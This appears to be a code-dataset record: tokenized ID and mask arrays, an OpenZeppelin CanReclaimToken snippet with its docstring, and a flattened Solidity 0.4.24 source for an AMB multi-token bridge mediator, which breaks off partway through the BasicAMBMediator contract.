1021,
6197,
1811,
1807,
1758,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
25754,
12,
2867,
389,
10488,
13,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
565,
327,
2904,
492,
18,
323,
917,
1282,
951,
24899,
10488,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/3/0x9345e0cb20e915EB178bDD43DF313E75B37c2011/sources/home/user/Documents/Projects/solidity/arbitrage-bot/third-party-contracts/WBTC/WBTC.sol
|
* @title Contracts that should be able to recover tokens @author SylTi @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. This will prevent any accidental loss of tokens./
|
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic _token) external onlyOwner {
uint256 balance = _token.balanceOf(this);
_token.safeTransfer(owner, balance);
}
}
| 8,269,114 |
[
1,
20723,
716,
1410,
506,
7752,
358,
5910,
2430,
225,
16455,
80,
56,
77,
225,
1220,
1699,
279,
6835,
358,
5910,
1281,
4232,
39,
3462,
1147,
5079,
316,
279,
6835,
635,
906,
74,
20245,
326,
11013,
358,
326,
6835,
3410,
18,
1220,
903,
5309,
1281,
25961,
287,
8324,
434,
2430,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
4480,
426,
14784,
1345,
353,
14223,
6914,
288,
203,
565,
1450,
14060,
654,
39,
3462,
364,
4232,
39,
3462,
8252,
31,
203,
203,
203,
565,
445,
283,
14784,
1345,
12,
654,
39,
3462,
8252,
389,
2316,
13,
3903,
1338,
5541,
288,
203,
3639,
2254,
5034,
11013,
273,
389,
2316,
18,
12296,
951,
12,
2211,
1769,
203,
3639,
389,
2316,
18,
4626,
5912,
12,
8443,
16,
11013,
1769,
203,
565,
289,
203,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.4.24;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/token/ERC20/DetailedERC20.sol
pragma solidity ^0.4.24;
/**
* @title DetailedERC20 token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
// File: contracts/interfaces/IAMB.sol
pragma solidity 0.4.24;
interface IAMB {
function messageSender() external view returns (address);
function maxGasPerTx() external view returns (uint256);
function transactionHash() external view returns (bytes32);
function messageId() external view returns (bytes32);
function messageSourceChainId() external view returns (bytes32);
function messageCallStatus(bytes32 _messageId) external view returns (bool);
function failedMessageDataHash(bytes32 _messageId) external view returns (bytes32);
function failedMessageReceiver(bytes32 _messageId) external view returns (address);
function failedMessageSender(bytes32 _messageId) external view returns (address);
function requireToPassMessage(address _contract, bytes _data, uint256 _gas) external returns (bytes32);
function requireToConfirmMessage(address _contract, bytes _data, uint256 _gas) external returns (bytes32);
function sourceChainId() external view returns (uint256);
function destinationChainId() external view returns (uint256);
}
// File: contracts/interfaces/ERC677.sol
pragma solidity 0.4.24;
contract ERC677 is ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
function transferAndCall(address, uint256, bytes) external returns (bool);
function increaseAllowance(address spender, uint256 addedValue) public returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool);
}
contract LegacyERC20 {
function transfer(address _spender, uint256 _value) public; // returns (bool);
function transferFrom(address _owner, address _spender, uint256 _value) public; // returns (bool);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: contracts/upgradeability/EternalStorage.sol
pragma solidity 0.4.24;
/**
* @title EternalStorage
* @dev This contract holds all the necessary state variables to carry out the storage of any contract.
*/
contract EternalStorage {
mapping(bytes32 => uint256) internal uintStorage;
mapping(bytes32 => string) internal stringStorage;
mapping(bytes32 => address) internal addressStorage;
mapping(bytes32 => bytes) internal bytesStorage;
mapping(bytes32 => bool) internal boolStorage;
mapping(bytes32 => int256) internal intStorage;
}
// File: contracts/interfaces/IUpgradeabilityOwnerStorage.sol
pragma solidity 0.4.24;
interface IUpgradeabilityOwnerStorage {
function upgradeabilityOwner() external view returns (address);
}
// File: contracts/upgradeable_contracts/Ownable.sol
pragma solidity 0.4.24;
/**
* @title Ownable
* @dev This contract has an owner address providing basic authorization control
*/
contract Ownable is EternalStorage {
bytes4 internal constant UPGRADEABILITY_OWNER = 0x6fde8202; // upgradeabilityOwner()
/**
* @dev Event to show ownership has been transferred
* @param previousOwner representing the address of the previous owner
* @param newOwner representing the address of the new owner
*/
event OwnershipTransferred(address previousOwner, address newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner());
/* solcov ignore next */
_;
}
/**
* @dev Throws if called by any account other than contract itself or owner.
*/
modifier onlyRelevantSender() {
// proxy owner if used through proxy, address(0) otherwise
require(
!address(this).call(abi.encodeWithSelector(UPGRADEABILITY_OWNER)) || // covers usage without calling through storage proxy
msg.sender == IUpgradeabilityOwnerStorage(this).upgradeabilityOwner() || // covers usage through regular proxy calls
msg.sender == address(this) // covers calls through upgradeAndCall proxy method
);
/* solcov ignore next */
_;
}
bytes32 internal constant OWNER = 0x02016836a56b71f0d02689e69e326f4f4c1b9057164ef592671cf0d37c8040c0; // keccak256(abi.encodePacked("owner"))
/**
* @dev Tells the address of the owner
* @return the address of the owner
*/
function owner() public view returns (address) {
return addressStorage[OWNER];
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner the address to transfer ownership to.
*/
function transferOwnership(address newOwner) external onlyOwner {
_setOwner(newOwner);
}
/**
* @dev Sets a new owner address
*/
function _setOwner(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(owner(), newOwner);
addressStorage[OWNER] = newOwner;
}
}
// File: contracts/upgradeable_contracts/multi_amb_erc20_to_erc677/BasicMultiTokenBridge.sol
pragma solidity 0.4.24;
contract BasicMultiTokenBridge is EternalStorage, Ownable {
using SafeMath for uint256;
// token == 0x00..00 represents default limits (assuming decimals == 18) for all newly created tokens
event DailyLimitChanged(address indexed token, uint256 newLimit);
event ExecutionDailyLimitChanged(address indexed token, uint256 newLimit);
/**
* @dev Checks if specified token was already bridged at least once.
* @param _token address of the token contract.
* @return true, if token address is address(0) or token was already bridged.
*/
function isTokenRegistered(address _token) public view returns (bool) {
return minPerTx(_token) > 0;
}
/**
* @dev Retrieves the total spent amount for particular token during specific day.
* @param _token address of the token contract.
* @param _day day number for which spent amount if requested.
* @return amount of tokens sent through the bridge to the other side.
*/
function totalSpentPerDay(address _token, uint256 _day) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("tSpD", _token, _day))];
}
/**
* @dev Retrieves the total executed amount for particular token during specific day.
* @param _token address of the token contract.
* @param _day day number for which spent amount if requested.
* @return amount of tokens received from the bridge from the other side.
*/
function totalExecutedPerDay(address _token, uint256 _day) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("totalExecutedPerDay", _token, _day))];
}
/**
* @dev Retrieves current daily limit for a particular token contract.
* @param _token address of the token contract.
* @return daily limit on tokens that can be sent through the bridge per day.
*/
function dailyLimit(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("dailyLimit", _token))];
}
/**
* @dev Retrieves current execution daily limit for a particular token contract.
* @param _token address of the token contract.
* @return daily limit on tokens that can be received from the bridge on the other side per day.
*/
function executionDailyLimit(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("executionDailyLimit", _token))];
}
/**
* @dev Retrieves current maximum amount of tokens per one transfer for a particular token contract.
* @param _token address of the token contract.
* @return maximum amount on tokens that can be sent through the bridge in one transfer.
*/
function maxPerTx(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("maxPerTx", _token))];
}
/**
* @dev Retrieves current maximum execution amount of tokens per one transfer for a particular token contract.
* @param _token address of the token contract.
* @return maximum amount on tokens that can received from the bridge on the other side in one transaction.
*/
function executionMaxPerTx(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("executionMaxPerTx", _token))];
}
/**
* @dev Retrieves current minimum amount of tokens per one transfer for a particular token contract.
* @param _token address of the token contract.
* @return minimum amount on tokens that can be sent through the bridge in one transfer.
*/
function minPerTx(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("minPerTx", _token))];
}
/**
* @dev Checks that bridged amount of tokens conforms to the configured limits.
* @param _token address of the token contract.
* @param _amount amount of bridge tokens.
* @return true, if specified amount can be bridged.
*/
function withinLimit(address _token, uint256 _amount) public view returns (bool) {
uint256 nextLimit = totalSpentPerDay(_token, getCurrentDay()).add(_amount);
return
dailyLimit(address(0)) > 0 &&
dailyLimit(_token) >= nextLimit &&
_amount <= maxPerTx(_token) &&
_amount >= minPerTx(_token);
}
/**
* @dev Checks that bridged amount of tokens conforms to the configured execution limits.
* @param _token address of the token contract.
* @param _amount amount of bridge tokens.
* @return true, if specified amount can be processed and executed.
*/
function withinExecutionLimit(address _token, uint256 _amount) public view returns (bool) {
uint256 nextLimit = totalExecutedPerDay(_token, getCurrentDay()).add(_amount);
return
executionDailyLimit(address(0)) > 0 &&
executionDailyLimit(_token) >= nextLimit &&
_amount <= executionMaxPerTx(_token);
}
/**
* @dev Returns current day number.
* @return day number.
*/
function getCurrentDay() public view returns (uint256) {
// solhint-disable-next-line not-rely-on-time
return block.timestamp / 1 days;
}
/**
* @dev Updates daily limit for the particular token. Only owner can call this method.
* @param _token address of the token contract, or address(0) for configuring the efault limit.
* @param _dailyLimit daily allowed amount of bridged tokens, should be greater than maxPerTx.
* 0 value is also allowed, will stop the bridge operations in outgoing direction.
*/
function setDailyLimit(address _token, uint256 _dailyLimit) external onlyOwner {
require(isTokenRegistered(_token));
require(_dailyLimit > maxPerTx(_token) || _dailyLimit == 0);
uintStorage[keccak256(abi.encodePacked("dailyLimit", _token))] = _dailyLimit;
emit DailyLimitChanged(_token, _dailyLimit);
}
/**
* @dev Updates execution daily limit for the particular token. Only owner can call this method.
* @param _token address of the token contract, or address(0) for configuring the default limit.
* @param _dailyLimit daily allowed amount of executed tokens, should be greater than executionMaxPerTx.
* 0 value is also allowed, will stop the bridge operations in incoming direction.
*/
function setExecutionDailyLimit(address _token, uint256 _dailyLimit) external onlyOwner {
require(isTokenRegistered(_token));
require(_dailyLimit > executionMaxPerTx(_token) || _dailyLimit == 0);
uintStorage[keccak256(abi.encodePacked("executionDailyLimit", _token))] = _dailyLimit;
emit ExecutionDailyLimitChanged(_token, _dailyLimit);
}
/**
* @dev Updates execution maximum per transaction for the particular token. Only owner can call this method.
* @param _token address of the token contract, or address(0) for configuring the default limit.
* @param _maxPerTx maximum amount of executed tokens per one transaction, should be less than executionDailyLimit.
* 0 value is also allowed, will stop the bridge operations in incoming direction.
*/
function setExecutionMaxPerTx(address _token, uint256 _maxPerTx) external onlyOwner {
require(isTokenRegistered(_token));
require(_maxPerTx == 0 || (_maxPerTx > 0 && _maxPerTx < executionDailyLimit(_token)));
uintStorage[keccak256(abi.encodePacked("executionMaxPerTx", _token))] = _maxPerTx;
}
/**
* @dev Updates maximum per transaction for the particular token. Only owner can call this method.
* @param _token address of the token contract, or address(0) for configuring the default limit.
* @param _maxPerTx maximum amount of tokens per one transaction, should be less than dailyLimit, greater than minPerTx.
* 0 value is also allowed, will stop the bridge operations in outgoing direction.
*/
function setMaxPerTx(address _token, uint256 _maxPerTx) external onlyOwner {
require(isTokenRegistered(_token));
require(_maxPerTx == 0 || (_maxPerTx > minPerTx(_token) && _maxPerTx < dailyLimit(_token)));
uintStorage[keccak256(abi.encodePacked("maxPerTx", _token))] = _maxPerTx;
}
/**
* @dev Updates minumum per transaction for the particular token. Only owner can call this method.
* @param _token address of the token contract, or address(0) for configuring the default limit.
* @param _minPerTx minumum amount of tokens per one transaction, should be less than maxPerTx and dailyLimit.
*/
function setMinPerTx(address _token, uint256 _minPerTx) external onlyOwner {
require(isTokenRegistered(_token));
require(_minPerTx > 0 && _minPerTx < dailyLimit(_token) && _minPerTx < maxPerTx(_token));
uintStorage[keccak256(abi.encodePacked("minPerTx", _token))] = _minPerTx;
}
/**
* @dev Retrieves maximum available bridge amount per one transaction taking into account maxPerTx() and dailyLimit() parameters.
* @param _token address of the token contract, or address(0) for the default limit.
* @return minimum of maxPerTx parameter and remaining daily quota.
*/
function maxAvailablePerTx(address _token) public view returns (uint256) {
uint256 _maxPerTx = maxPerTx(_token);
uint256 _dailyLimit = dailyLimit(_token);
uint256 _spent = totalSpentPerDay(_token, getCurrentDay());
uint256 _remainingOutOfDaily = _dailyLimit > _spent ? _dailyLimit - _spent : 0;
return _maxPerTx < _remainingOutOfDaily ? _maxPerTx : _remainingOutOfDaily;
}
/**
* @dev Internal function for adding spent amount for some token.
* @param _token address of the token contract.
* @param _day day number, when tokens are processed.
* @param _value amount of bridge tokens.
*/
function addTotalSpentPerDay(address _token, uint256 _day, uint256 _value) internal {
uintStorage[keccak256(abi.encodePacked("tSpD", _token, _day))] = totalSpentPerDay(_token, _day).add(_value);
}
/**
* @dev Internal function for adding execcuted amount for some token.
* @param _token address of the token contract.
* @param _day day number, when tokens are processed.
* @param _value amount of bridge tokens.
*/
function addTotalExecutedPerDay(address _token, uint256 _day, uint256 _value) internal {
uintStorage[keccak256(abi.encodePacked("totalExecutedPerDay", _token, _day))] = totalExecutedPerDay(
_token,
_day
)
.add(_value);
}
/**
* @dev Internal function for initializing limits for some token.
* @param _token address of the token contract.
* @param _limits [ 0 = dailyLimit, 1 = maxPerTx, 2 = minPerTx ].
*/
function _setLimits(address _token, uint256[3] _limits) internal {
require(
_limits[2] > 0 && // minPerTx > 0
_limits[1] > _limits[2] && // maxPerTx > minPerTx
_limits[0] > _limits[1] // dailyLimit > maxPerTx
);
uintStorage[keccak256(abi.encodePacked("dailyLimit", _token))] = _limits[0];
uintStorage[keccak256(abi.encodePacked("maxPerTx", _token))] = _limits[1];
uintStorage[keccak256(abi.encodePacked("minPerTx", _token))] = _limits[2];
emit DailyLimitChanged(_token, _limits[0]);
}
/**
* @dev Internal function for initializing execution limits for some token.
* @param _token address of the token contract.
* @param _limits [ 0 = executionDailyLimit, 1 = executionMaxPerTx ].
*/
function _setExecutionLimits(address _token, uint256[2] _limits) internal {
require(_limits[1] < _limits[0]); // foreignMaxPerTx < foreignDailyLimit
uintStorage[keccak256(abi.encodePacked("executionDailyLimit", _token))] = _limits[0];
uintStorage[keccak256(abi.encodePacked("executionMaxPerTx", _token))] = _limits[1];
emit ExecutionDailyLimitChanged(_token, _limits[0]);
}
/**
* @dev Internal function for initializing limits for some token relative to its decimals parameter.
* @param _token address of the token contract.
* @param _decimals token decimals parameter.
*/
function _initializeTokenBridgeLimits(address _token, uint256 _decimals) internal {
uint256 factor;
if (_decimals < 18) {
factor = 10**(18 - _decimals);
uint256 _minPerTx = minPerTx(address(0)).div(factor);
uint256 _maxPerTx = maxPerTx(address(0)).div(factor);
uint256 _dailyLimit = dailyLimit(address(0)).div(factor);
uint256 _executionMaxPerTx = executionMaxPerTx(address(0)).div(factor);
uint256 _executionDailyLimit = executionDailyLimit(address(0)).div(factor);
// such situation can happen when calculated limits relative to the token decimals are too low
// e.g. minPerTx(address(0)) == 10 ** 14, _decimals == 3. _minPerTx happens to be 0, which is not allowed.
// in this case, limits are raised to the default values
if (_minPerTx == 0) {
// Numbers 1, 100, 10000 are chosen in a semi-random way,
// so that any token with small decimals can still be bridged in some amounts.
// It is possible to override limits for the particular token later if needed.
_minPerTx = 1;
if (_maxPerTx <= _minPerTx) {
_maxPerTx = 100;
_executionMaxPerTx = 100;
if (_dailyLimit <= _maxPerTx || _executionDailyLimit <= _executionMaxPerTx) {
_dailyLimit = 10000;
_executionDailyLimit = 10000;
}
}
}
_setLimits(_token, [_dailyLimit, _maxPerTx, _minPerTx]);
_setExecutionLimits(_token, [_executionDailyLimit, _executionMaxPerTx]);
} else {
factor = 10**(_decimals - 18);
_setLimits(
_token,
[dailyLimit(address(0)).mul(factor), maxPerTx(address(0)).mul(factor), minPerTx(address(0)).mul(factor)]
);
_setExecutionLimits(
_token,
[executionDailyLimit(address(0)).mul(factor), executionMaxPerTx(address(0)).mul(factor)]
);
}
}
}
// File: contracts/libraries/Bytes.sol
pragma solidity 0.4.24;
/**
* @title Bytes
* @dev Helper methods to transform bytes to other solidity types.
*/
library Bytes {
/**
* @dev Converts bytes array to bytes32.
* Truncates bytes array if its size is more than 32 bytes.
* NOTE: This function does not perform any checks on the received parameter.
* Make sure that the _bytes argument has a correct length, not less than 32 bytes.
* A case when _bytes has length less than 32 will lead to the undefined behaviour,
* since assembly will read data from memory that is not related to the _bytes argument.
* @param _bytes to be converted to bytes32 type
* @return bytes32 type of the firsts 32 bytes array in parameter.
*/
function bytesToBytes32(bytes _bytes) internal pure returns (bytes32 result) {
assembly {
result := mload(add(_bytes, 32))
}
}
/**
* @dev Truncate bytes array if its size is more than 20 bytes.
* NOTE: Similar to the bytesToBytes32 function, make sure that _bytes is not shorter than 20 bytes.
* @param _bytes to be converted to address type
* @return address included in the firsts 20 bytes of the bytes array in parameter.
*/
function bytesToAddress(bytes _bytes) internal pure returns (address addr) {
assembly {
addr := mload(add(_bytes, 20))
}
}
}
// File: openzeppelin-solidity/contracts/AddressUtils.sol
pragma solidity ^0.4.24;
/**
* Utility library of inline functions on addresses
*/
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param _addr address to check
* @return whether the target address is a contract
*/
function isContract(address _addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
// File: contracts/upgradeable_contracts/BasicAMBMediator.sol
pragma solidity 0.4.24;
/**
* @title BasicAMBMediator
* @dev Basic storage and methods needed by mediators to interact with AMB bridge.
*/
contract BasicAMBMediator is Ownable {
bytes32 internal constant BRIDGE_CONTRACT = 0x811bbb11e8899da471f0e69a3ed55090fc90215227fc5fb1cb0d6e962ea7b74f; // keccak256(abi.encodePacked("bridgeContract"))
bytes32 internal constant MEDIATOR_CONTRACT = 0x98aa806e31e94a687a31c65769cb99670064dd7f5a87526da075c5fb4eab9880; // keccak256(abi.encodePacked("mediatorContract"))
bytes32 internal constant REQUEST_GAS_LIMIT = 0x2dfd6c9f781bb6bbb5369c114e949b69ebb440ef3d4dd6b2836225eb1dc3a2be; // keccak256(abi.encodePacked("requestGasLimit"))
/**
* @dev Throws if caller on the other side is not an associated mediator.
*/
modifier onlyMediator {
require(msg.sender == address(bridgeContract()));
require(messageSender() == mediatorContractOnOtherSide());
_;
}
/**
* @dev Sets the AMB bridge contract address. Only the owner can call this method.
* @param _bridgeContract the address of the bridge contract.
*/
function setBridgeContract(address _bridgeContract) external onlyOwner {
_setBridgeContract(_bridgeContract);
}
/**
* @dev Sets the mediator contract address from the other network. Only the owner can call this method.
* @param _mediatorContract the address of the mediator contract.
*/
function setMediatorContractOnOtherSide(address _mediatorContract) external onlyOwner {
_setMediatorContractOnOtherSide(_mediatorContract);
}
/**
* @dev Sets the gas limit to be used in the message execution by the AMB bridge on the other network.
* This value can't exceed the parameter maxGasPerTx defined on the AMB bridge.
* Only the owner can call this method.
* @param _requestGasLimit the gas limit for the message execution.
*/
function setRequestGasLimit(uint256 _requestGasLimit) external onlyOwner {
_setRequestGasLimit(_requestGasLimit);
}
/**
* @dev Get the AMB interface for the bridge contract address
* @return AMB interface for the bridge contract address
*/
function bridgeContract() public view returns (IAMB) {
return IAMB(addressStorage[BRIDGE_CONTRACT]);
}
/**
* @dev Tells the mediator contract address from the other network.
* @return the address of the mediator contract.
*/
function mediatorContractOnOtherSide() public view returns (address) {
return addressStorage[MEDIATOR_CONTRACT];
}
/**
* @dev Tells the gas limit to be used in the message execution by the AMB bridge on the other network.
* @return the gas limit for the message execution.
*/
function requestGasLimit() public view returns (uint256) {
return uintStorage[REQUEST_GAS_LIMIT];
}
/**
* @dev Stores a valid AMB bridge contract address.
* @param _bridgeContract the address of the bridge contract.
*/
function _setBridgeContract(address _bridgeContract) internal {
require(AddressUtils.isContract(_bridgeContract));
addressStorage[BRIDGE_CONTRACT] = _bridgeContract;
}
/**
* @dev Stores the mediator contract address from the other network.
* @param _mediatorContract the address of the mediator contract.
*/
function _setMediatorContractOnOtherSide(address _mediatorContract) internal {
addressStorage[MEDIATOR_CONTRACT] = _mediatorContract;
}
/**
* @dev Stores the gas limit to be used in the message execution by the AMB bridge on the other network.
* @param _requestGasLimit the gas limit for the message execution.
*/
function _setRequestGasLimit(uint256 _requestGasLimit) internal {
require(_requestGasLimit <= maxGasPerTx());
uintStorage[REQUEST_GAS_LIMIT] = _requestGasLimit;
}
/**
* @dev Tells the address that generated the message on the other network that is currently being executed by
* the AMB bridge.
* @return the address of the message sender.
*/
function messageSender() internal view returns (address) {
return bridgeContract().messageSender();
}
/**
* @dev Tells the id of the message originated on the other network.
* @return the id of the message originated on the other network.
*/
function messageId() internal view returns (bytes32) {
return bridgeContract().messageId();
}
/**
* @dev Tells the maximum gas limit that a message can use on its execution by the AMB bridge on the other network.
* @return the maximum gas limit value.
*/
function maxGasPerTx() internal view returns (uint256) {
return bridgeContract().maxGasPerTx();
}
